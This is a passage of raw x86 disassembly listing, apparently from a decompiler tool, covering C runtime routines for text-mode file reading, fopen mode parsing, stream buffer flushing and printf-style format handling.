eax, 10h add eax, 10h or [esi+0Ch], eax and dword ptr [esi+4], 0 loc_41F117: ; CODE XREF: sub_41F043+Aj ; sub_41F043+12j ... or eax, 0FFFFFFFFh pop esi retn sub_41F043 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F11C proc near ; CODE XREF: sub_41B11A+90p ; sub_41F043+48p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx push esi mov esi, [ebp+arg_0] push edi cmp esi, dword_4DCDA0 jnb loc_41F2F9 mov eax, esi and esi, 1Fh sar eax, 5 shl esi, 3 lea ebx, ds:4DCCA0h[eax*4] mov eax, dword_4DCCA0[eax*4] add eax, esi mov dl, [eax+4] test dl, 1 jz loc_41F2F9 and [ebp+var_8], 0 mov edi, [ebp+arg_4] cmp [ebp+arg_8], 0 mov ecx, edi jz short loc_41F1D1 test dl, 2 jnz short loc_41F1D1 test dl, 48h jz short loc_41F191 mov al, [eax+5] cmp al, 0Ah jz short loc_41F191 dec [ebp+arg_8] mov [edi], al mov eax, [ebx] lea ecx, [edi+1] mov [ebp+var_8], 1 mov byte ptr [eax+esi+5], 0Ah loc_41F191: ; CODE XREF: sub_41F11C+56j ; sub_41F11C+5Dj lea eax, [ebp+var_C] push 0 push eax mov eax, [ebx] push [ebp+arg_8] push ecx push dword ptr [eax+esi] nop call near ptr 2730000h test eax, eax jnz short loc_41F1E4 call near ptr 26B0857h nop push 5 pop ecx cmp eax, ecx jnz short loc_41F1CC mov dword_4DB958, 9 mov dword_4DB95C, ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1CC: ; CODE XREF: sub_41F11C+99j cmp eax, 6Dh jnz short loc_41F1D8 loc_41F1D1: ; CODE XREF: sub_41F11C+4Cj ; sub_41F11C+51j xor eax, eax jmp loc_41F30D ; --------------------------------------------------------------------------- loc_41F1D8: ; CODE XREF: sub_41F11C+B3j push eax call sub_4203DF pop ecx jmp loc_41F30A ; --------------------------------------------------------------------------- loc_41F1E4: ; CODE XREF: sub_41F11C+8Cj mov eax, [ebx] mov edx, [ebp+var_C] add [ebp+var_8], edx lea ecx, [eax+esi+4] mov al, [eax+esi+4] test al, 80h jz loc_41F2F4 test edx, edx jz short loc_41F209 cmp byte ptr [edi], 0Ah jnz short loc_41F209 or al, 4 jmp short loc_41F20B ; --------------------------------------------------------------------------- loc_41F209: ; CODE XREF: sub_41F11C+E2j ; sub_41F11C+E7j and al, 0FBh loc_41F20B: ; CODE XREF: sub_41F11C+EBj mov [ecx], al mov eax, [ebp+arg_4] mov ecx, [ebp+var_8] mov [ebp+arg_8], eax add ecx, eax cmp eax, ecx mov [ebp+var_8], ecx jnb loc_41F2EE loc_41F223: ; CODE XREF: sub_41F11C+1BAj mov eax, [ebp+arg_8] mov al, [eax] cmp al, 1Ah jz loc_41F2DE cmp al, 0Dh jz short loc_41F23F mov [edi], al inc edi inc [ebp+arg_8] jmp loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F23F: ; CODE XREF: sub_41F11C+116j dec ecx cmp [ebp+arg_8], ecx jnb short loc_41F25D mov eax, [ebp+arg_8] inc eax cmp byte ptr [eax], 0Ah jnz short loc_41F254 add [ebp+arg_8], 2 jmp short loc_41F2B2 ; --------------------------------------------------------------------------- loc_41F254: ; CODE XREF: sub_41F11C+130j mov byte ptr [edi], 0Dh inc edi mov [ebp+arg_8], eax jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F25D: ; CODE XREF: sub_41F11C+127j lea eax, [ebp+var_C] push 0 push eax inc [ebp+arg_8] lea eax, [ebp+var_1] push 1 push eax mov eax, [ebx] push dword ptr [eax+esi] call near ptr 2730000h nop test eax, eax jnz short loc_41F285 nop call near ptr 26B0857h test eax, eax jnz short loc_41F2CC loc_41F285: ; CODE XREF: sub_41F11C+15Dj cmp [ebp+var_C], 0 jz short loc_41F2CC mov eax, [ebx] test byte ptr [eax+esi+4], 48h jz short loc_41F2A7 mov al, [ebp+var_1] cmp al, 0Ah jz short loc_41F2B2 mov byte ptr [edi], 0Dh mov ecx, [ebx] inc edi mov [ecx+esi+5], al jmp short loc_41F2D0 ; --------------------------------------------------------------------------- loc_41F2A7: ; CODE XREF: sub_41F11C+176j cmp edi, [ebp+arg_4] jnz short loc_41F2B7 cmp [ebp+var_1], 0Ah jnz short loc_41F2B7 loc_41F2B2: ; CODE XREF: sub_41F11C+136j ; sub_41F11C+17Dj mov byte ptr [edi], 0Ah jmp short loc_41F2CF ; --------------------------------------------------------------------------- loc_41F2B7: ; CODE XREF: sub_41F11C+18Ej ; sub_41F11C+194j push 1 push 0FFFFFFFFh push [ebp+arg_0] call sub_42272B add esp, 0Ch cmp [ebp+var_1], 0Ah jz short loc_41F2D0 loc_41F2CC: ; CODE XREF: sub_41F11C+167j ; sub_41F11C+16Dj mov byte ptr [edi], 0Dh loc_41F2CF: ; CODE XREF: sub_41F11C+199j inc edi loc_41F2D0: ; CODE XREF: sub_41F11C+11Ej ; sub_41F11C+13Fj ... mov ecx, [ebp+var_8] cmp [ebp+arg_8], ecx jb loc_41F223 jmp short loc_41F2EE ; --------------------------------------------------------------------------- loc_41F2DE: ; CODE XREF: sub_41F11C+10Ej mov eax, [ebx] lea esi, [eax+esi+4] mov al, [esi] test al, 40h jnz short loc_41F2EE or al, 2 mov [esi], al loc_41F2EE: ; CODE XREF: sub_41F11C+101j ; sub_41F11C+1C0j ... sub edi, [ebp+arg_4] mov [ebp+var_8], edi loc_41F2F4: ; CODE XREF: sub_41F11C+DAj mov eax, [ebp+var_8] jmp short loc_41F30D ; --------------------------------------------------------------------------- loc_41F2F9: ; CODE XREF: sub_41F11C+12j ; sub_41F11C+39j and dword_4DB95C, 0 mov dword_4DB958, 9 loc_41F30A: ; CODE XREF: sub_41F11C+ABj ; sub_41F11C+C3j or eax, 0FFFFFFFFh loc_41F30D: ; CODE XREF: sub_41F11C+B7j ; sub_41F11C+1DBj pop edi pop esi pop ebx leave retn sub_41F11C endp ; =============== S U B R O U T I N E ======================================= sub_41F312 proc near ; CODE XREF: sub_41B202+126p ; sub_41B202+24Bp ... arg_0 = dword ptr 4 mov eax, dword_4DB9D8 test eax, eax jz short loc_41F32A push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_41F32A push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41F32A: ; CODE XREF: sub_41F312+7j ; sub_41F312+12j xor eax, eax retn sub_41F312 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F32D proc near ; CODE XREF: sub_41B4A2+17p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, dword_4DBB44 push edi mov edi, [ebp+arg_4] xor ebx, ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov al, [edi] cmp al, 61h jz short loc_41F366 cmp al, 72h jz short loc_41F35F cmp al, 77h jnz loc_41F47A mov ecx, 301h jmp short loc_41F36B ; --------------------------------------------------------------------------- loc_41F35F: ; CODE XREF: sub_41F32D+21j xor ecx, ecx or esi, 1 jmp short loc_41F36E ; --------------------------------------------------------------------------- loc_41F366: ; CODE XREF: sub_41F32D+1Dj mov ecx, 109h loc_41F36B: ; CODE XREF: sub_41F32D+30j or esi, 2 loc_41F36E: ; CODE XREF: sub_41F32D+37j push 1 pop edx loc_41F371: ; CODE XREF: sub_41F32D+8Bj ; sub_41F32D+A0j ... mov al, [edi+1] inc edi cmp al, bl jz loc_41F460 cmp edx, ebx jz loc_41F460 movsx eax, al cmp eax, 54h jg short loc_41F3FF jz short loc_41F3EF sub eax, 2Bh jz short loc_41F3D9 sub eax, 19h jz short loc_41F3CF sub eax, 0Eh jz short loc_41F3BA dec eax jnz loc_41F451 cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 20h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3BA: ; CODE XREF: sub_41F32D+6Fj cmp [ebp+var_4], ebx jnz loc_41F451 mov [ebp+var_4], 1 or ecx, 10h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3CF: ; CODE XREF: sub_41F32D+6Aj test cl, 40h jnz short loc_41F451 or ecx, 40h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3D9: ; CODE XREF: sub_41F32D+65j test cl, 2 jnz short loc_41F451 and ecx, 0FFFFFFFEh and esi, 0FFFFFFFCh or ecx, 2 or esi, 80h jmp short loc_41F371 ; --------------------------------------------------------------------------- loc_41F3EF: ; CODE XREF: sub_41F32D+60j mov eax, 1000h test ecx, eax jnz short loc_41F451 or ecx, eax jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F3FF: ; CODE XREF: sub_41F32D+5Ej sub eax, 62h jz short loc_41F44C dec eax jz short loc_41F435 sub eax, 0Bh jz short loc_41F41E sub eax, 6 jnz short loc_41F451 test ch, 0C0h jnz short loc_41F451 or ch, 40h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F41E: ; CODE XREF: sub_41F32D+DDj cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 and esi, 0FFFFBFFFh jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F435: ; CODE XREF: sub_41F32D+D8j cmp [ebp+var_8], ebx jnz short loc_41F451 mov [ebp+var_8], 1 or esi, 4000h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F44C: ; CODE XREF: sub_41F32D+D5j test ch, 0C0h jz short loc_41F458 loc_41F451: ; CODE XREF: sub_41F32D+72j ; sub_41F32D+7Bj ... xor edx, edx jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F458: ; CODE XREF: sub_41F32D+122j or ch, 80h jmp loc_41F371 ; --------------------------------------------------------------------------- loc_41F460: ; CODE XREF: sub_41F32D+4Aj ; sub_41F32D+52j push 1A4h push [ebp+arg_8] push ecx push [ebp+arg_0] call sub_423A33 mov ecx, eax add esp, 10h cmp ecx, ebx jge short loc_41F47E loc_41F47A: ; CODE XREF: sub_41F32D+25j xor eax, eax jmp short loc_41F498 ; --------------------------------------------------------------------------- loc_41F47E: ; CODE XREF: sub_41F32D+14Bj mov eax, [ebp+arg_C] inc dword_4DBB40 mov [eax+0Ch], esi mov [eax+4], ebx mov [eax], ebx mov [eax+8], ebx mov [eax+1Ch], ebx mov [eax+10h], ecx loc_41F498: ; CODE XREF: sub_41F32D+14Fj pop edi pop esi pop ebx leave retn sub_41F32D endp ; =============== S U B R O U T I N E ======================================= sub_41F49D proc near ; CODE XREF: sub_41B4A2p mov edx, dword_4DCC80 push ebx push ebp push esi xor ebp, ebp xor esi, esi xor eax, eax cmp edx, ebp push edi jle short loc_41F50E mov ebx, dword_4DBC78 mov edi, ebx loc_41F4B9: ; CODE XREF: sub_41F49D+2Ej mov ecx, [edi] cmp ecx, ebp jz short loc_41F4D4 test byte ptr [ecx+0Ch], 83h jz short loc_41F4CF inc eax add edi, 4 cmp eax, edx jl short loc_41F4B9 jmp short loc_41F50E ; --------------------------------------------------------------------------- loc_41F4CF: ; CODE XREF: sub_41F49D+26j mov esi, [ebx+eax*4] jmp short loc_41F4F8 ; --------------------------------------------------------------------------- loc_41F4D4: ; CODE XREF: sub_41F49D+20j mov edi, eax push 20h shl edi, 2 call sub_41B4D5 pop ecx mov ecx, dword_4DBC78 mov [edi+ecx], eax mov eax, dword_4DBC78 mov edi, [edi+eax] cmp edi, ebp jz short loc_41F50E mov esi, edi loc_41F4F8: ; CODE XREF: sub_41F49D+35j cmp esi, ebp jz short loc_41F50E or dword ptr [esi+10h], 0FFFFFFFFh mov [esi+4], ebp mov [esi+0Ch], ebp mov [esi+8], ebp mov [esi], ebp mov [esi+1Ch], ebp loc_41F50E: ; CODE XREF: sub_41F49D+12j ; sub_41F49D+30j ... mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41F49D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F515 proc near ; CODE XREF: sub_41B6EE+17p ; sub_41B6EE+58p ... var_4 = byte ptr -4 var_3 = byte ptr -3 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] lea ecx, [eax+1] cmp ecx, 100h ja short loc_41F533 mov ecx, off_43C9D8 movzx eax, word ptr [ecx+eax*2] jmp short loc_41F585 ; --------------------------------------------------------------------------- loc_41F533: ; CODE XREF: sub_41F515+10j mov ecx, eax push esi mov esi, off_43C9D8 sar ecx, 8 movzx edx, cl test byte ptr [esi+edx*2+1], 80h pop esi jz short loc_41F558 and [ebp+var_2], 0 mov [ebp+var_4], cl mov [ebp+var_3], al push 2 jmp short loc_41F561 ; --------------------------------------------------------------------------- loc_41F558: ; CODE XREF: sub_41F515+33j and [ebp+var_3], 0 mov [ebp+var_4], al push 1 loc_41F561: ; CODE XREF: sub_41F515+41j pop eax lea ecx, [ebp+arg_0+2] push 1 push 0 push 0 push ecx push eax lea eax, [ebp+var_4] push eax push 1 call sub_423CEC add esp, 1Ch test eax, eax jnz short loc_41F581 leave retn ; --------------------------------------------------------------------------- loc_41F581: ; CODE XREF: sub_41F515+68j movzx eax, word ptr [ebp+arg_0+2] loc_41F585: ; CODE XREF: sub_41F515+1Cj and eax, [ebp+arg_4] leave retn sub_41F515 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F58A proc near ; CODE XREF: sub_41B886+46p ; sub_41B980+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_41F693 test al, 40h jnz loc_41F693 test al, 1 jz short loc_41F5C2 and dword ptr [esi+4], 0 test al, 10h jz loc_41F693 mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_41F5C2: ; CODE XREF: sub_41F58A+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F5FC cmp esi, offset dword_43D0E8 jz short loc_41F5EA cmp esi, offset dword_43D108 jnz short loc_41F5F5 loc_41F5EA: ; CODE XREF: sub_41F58A+56j push ebx call sub_423E35 test eax, eax pop ecx jnz short loc_41F5FC loc_41F5F5: ; CODE XREF: sub_41F58A+5Ej push esi call sub_4239EF pop ecx loc_41F5FC: ; CODE XREF: sub_41F58A+4Ej ; sub_41F58A+69j test word ptr [esi+0Ch], 108h push edi jz short loc_41F669 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_41F62C push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_41F65F ; --------------------------------------------------------------------------- loc_41F62C: ; CODE XREF: sub_41F58A+90j cmp ebx, 0FFFFFFFFh jz short loc_41F647 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4DCCA0[eax*4] lea eax, [eax+ecx*8] jmp short loc_41F64C ; --------------------------------------------------------------------------- loc_41F647: ; CODE XREF: sub_41F58A+A5j mov eax, offset dword_43D030 loc_41F64C: ; CODE XREF: sub_41F58A+BBj test byte ptr [eax+4], 20h jz short loc_41F65F push 2 push 0 push ebx call sub_42272B add esp, 0Ch loc_41F65F: ; CODE XREF: sub_41F58A+A0j ; sub_41F58A+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_41F67D ; --------------------------------------------------------------------------- loc_41F669: ; CODE XREF: sub_41F58A+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_42291D add esp, 0Ch mov [ebp+arg_4], eax loc_41F67D: ; CODE XREF: sub_41F58A+DDj cmp [ebp+arg_4], edi pop edi jz short loc_41F689 or dword ptr [esi+0Ch], 20h jmp short loc_41F698 ; --------------------------------------------------------------------------- loc_41F689: ; CODE XREF: sub_41F58A+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_41F69B ; --------------------------------------------------------------------------- loc_41F693: ; CODE XREF: sub_41F58A+10j ; sub_41F58A+18j ... or al, 20h mov [esi+0Ch], eax loc_41F698: ; CODE XREF: sub_41F58A+FDj or eax, 0FFFFFFFFh loc_41F69B: ; CODE XREF: sub_41F58A+107j pop esi pop ebx pop ebp retn sub_41F58A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41F69F proc near ; CODE XREF: sub_41B886+29p ; sub_41B980+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41FDB8 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_41F6D3 ; --------------------------------------------------------------------------- loc_41F6CB: ; CODE XREF: sub_41F69F+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_41F6D3: ; CODE XREF: sub_41F69F+2Aj cmp [ebp+var_14], edx jl loc_41FDB8 cmp bl, 20h jl short loc_41F6F4 cmp bl, 78h jg short loc_41F6F4 movsx eax, bl mov al, [eax+427734h] and eax, 0Fh jmp short loc_41F6F6 ; --------------------------------------------------------------------------- loc_41F6F4: ; CODE XREF: sub_41F69F+40j ; sub_41F69F+45j xor eax, eax loc_41F6F6: ; CODE XREF: sub_41F69F+53j movsx eax, byte_427754[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41FDA7 ; default jmp off_41FDC0[eax*4] ; switch jump loc_41F714: ; DATA XREF: ___:off_41FDC0o or [ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F72F: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 2 sub eax, 20h jz short loc_41F772 sub eax, 3 jz short loc_41F769 sub eax, 8 jz short loc_41F760 dec eax dec eax jz short loc_41F757 sub eax, 3 jnz loc_41FDA7 ; default or [ebp+var_4], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F757: ; CODE XREF: sub_41F69F+A4j or [ebp+var_4], 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F760: ; CODE XREF: sub_41F69F+A0j or [ebp+var_4], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F769: ; CODE XREF: sub_41F69F+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F772: ; CODE XREF: sub_41F69F+96j or [ebp+var_4], 2 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F77B: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 3 jnz short loc_41F7A3 lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41FDA7 ; default or [ebp+var_4], 4 neg eax loc_41F79B: ; CODE XREF: sub_41F69F+111j mov [ebp+var_20], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7A3: ; CODE XREF: sub_41F69F+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_41F79B ; --------------------------------------------------------------------------- loc_41F7B2: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov [ebp+var_10], edx ; jumptable 0041F70D case 4 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7BA: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 2Ah ; jumptable 0041F70D case 5 jnz short loc_41F7DD lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41FDA7 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7DD: ; CODE XREF: sub_41F69F+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F7EF: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o cmp bl, 49h ; jumptable 0041F70D case 6 jz short loc_41F822 cmp bl, 68h jz short loc_41F819 cmp bl, 6Ch jz short loc_41F810 cmp bl, 77h jnz loc_41FDA7 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F810: ; CODE XREF: sub_41F69F+15Dj or [ebp+var_4], 10h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F819: ; CODE XREF: sub_41F69F+158j or [ebp+var_4], 20h jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F822: ; CODE XREF: sub_41F69F+153j cmp byte ptr [edi], 36h jnz short loc_41F83B cmp byte ptr [edi+1], 34h jnz short loc_41F83B inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F83B: ; CODE XREF: sub_41F69F+186j ; sub_41F69F+18Cj mov [ebp+var_30], edx loc_41F83E: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o mov ecx, off_43C9D8 ; jumptable 0041F70D case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41F86A lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41F86A: ; CODE XREF: sub_41F69F+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41FDE0 add esp, 0Ch jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41F882: ; CODE XREF: sub_41F69F+6Ej ; DATA XREF: ___:off_41FDC0o movsx eax, bl ; jumptable 0041F70D case 7 cmp eax, 67h jg loc_41FAAA cmp eax, 65h jge loc_41F92D cmp eax, 58h jg loc_41F98B jz loc_41FB1E sub eax, 43h jz loc_41F94E dec eax dec eax jz short loc_41F923 dec eax dec eax jz short loc_41F923 sub eax, 0Ch jnz loc_41FCA9 test word ptr [ebp+var_4], 830h jnz short loc_41F8CC or byte ptr [ebp+var_4+1], 8 loc_41F8CC: ; CODE XREF: sub_41F69F+227j ; sub_41F69F+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41F8D9 mov esi, 7FFFFFFFh loc_41F8D9: ; CODE XREF: sub_41F69F+233j lea eax, [ebp+arg_8] push eax call sub_41FE7E test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41FAF2 test ecx, ecx jnz short loc_41F901 mov ecx, off_43CBF4 mov [ebp+var_8], ecx loc_41F901: ; CODE XREF: sub_41F69F+257j mov [ebp+var_24], 1 mov eax, ecx loc_41F90A: ; CODE XREF: sub_41F69F+282j mov edx, esi dec esi test edx, edx jz loc_41FAE9 cmp word ptr [eax], 0 jz loc_41FAE9 inc eax inc eax jmp short loc_41F90A ; --------------------------------------------------------------------------- loc_41F923: ; CODE XREF: sub_41F69F+212j ; sub_41F69F+216j mov [ebp+var_34], 1 add bl, 20h loc_41F92D: ; CODE XREF: sub_41F69F+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41FA11 mov [ebp+var_10], 6 jmp loc_41FA1F ; --------------------------------------------------------------------------- loc_41F94E: ; CODE XREF: sub_41F69F+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41F95A or byte ptr [ebp+var_4+1], 8 loc_41F95A: ; CODE XREF: sub_41F69F+2B5j ; sub_41F69F+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41F9A1 call sub_41FE9B push eax lea eax, [ebp+var_248] push eax call sub_423E5B add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41F9B4 mov [ebp+var_28], 1 jmp short loc_41F9B4 ; --------------------------------------------------------------------------- loc_41F98B: ; CODE XREF: sub_41F69F+1FBj sub eax, 5Ah jz short loc_41F9C2 sub eax, 9 jz short loc_41F95A dec eax jz loc_41FB84 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9A1: ; CODE XREF: sub_41F69F+2C5j call sub_41FE7E pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41F9B4: ; CODE XREF: sub_41F69F+2E1j ; sub_41F69F+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9C2: ; CODE XREF: sub_41F69F+2EFj lea eax, [ebp+arg_8] push eax call sub_41FE7E test eax, eax pop ecx jz short loc_41FA03 mov ecx, [eax+4] test ecx, ecx jz short loc_41FA03 test byte ptr [ebp+var_4+1], 8 jz short loc_41F9F4 movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41FCA9 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F69F+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FA03: ; CODE XREF: sub_41F69F+32Fj ; sub_41F69F+336j mov eax, off_43CBF0 mov [ebp+var_8], eax push eax jmp loc_41FA9F ; --------------------------------------------------------------------------- loc_41FA11: ; CODE XREF: sub_41F69F+29Dj jnz short loc_41FA1F cmp bl, 67h jnz short loc_41FA1F mov [ebp+var_10], 1 loc_41FA1F: ; CODE XREF: sub_41F69F+2AAj ; sub_41F69F:loc_41FA11j ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_43CF80 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41FA71 cmp [ebp+var_10], 0 jnz short loc_41FA71 lea eax, [ebp+var_248] push eax call off_43CF8C pop ecx loc_41FA71: ; CODE XREF: sub_41F69F+3BCj ; sub_41F69F+3C2j cmp bl, 67h jnz short loc_41FA88 test esi, esi jnz short loc_41FA88 lea eax, [ebp+var_248] push eax call off_43CF84 pop ecx loc_41FA88: ; CODE XREF: sub_41F69F+3D5j ; sub_41F69F+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41FA9E or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41FA9E: ; CODE XREF: sub_41F69F+3F0j push edi loc_41FA9F: ; CODE XREF: sub_41F69F+36Dj call sub_41AFE0 pop ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAAA: ; CODE XREF: sub_41F69F+1E9j sub eax, 69h jz loc_41FB84 sub eax, 5 jz loc_41FB5A dec eax jz loc_41FB47 dec eax jz short loc_41FB17 sub eax, 3 jz loc_41F8CC dec eax dec eax jz loc_41FB88 sub eax, 3 jnz loc_41FCA9 mov [ebp+var_2C], 27h jmp short loc_41FB25 ; --------------------------------------------------------------------------- loc_41FAE9: ; CODE XREF: sub_41F69F+270j ; sub_41F69F+27Aj sub eax, ecx sar eax, 1 jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FAF2: ; CODE XREF: sub_41F69F+24Fj test ecx, ecx jnz short loc_41FAFF mov ecx, off_43CBF0 mov [ebp+var_8], ecx loc_41FAFF: ; CODE XREF: sub_41F69F+455j mov eax, ecx loc_41FB01: ; CODE XREF: sub_41F69F+46Fj mov edx, esi dec esi test edx, edx jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 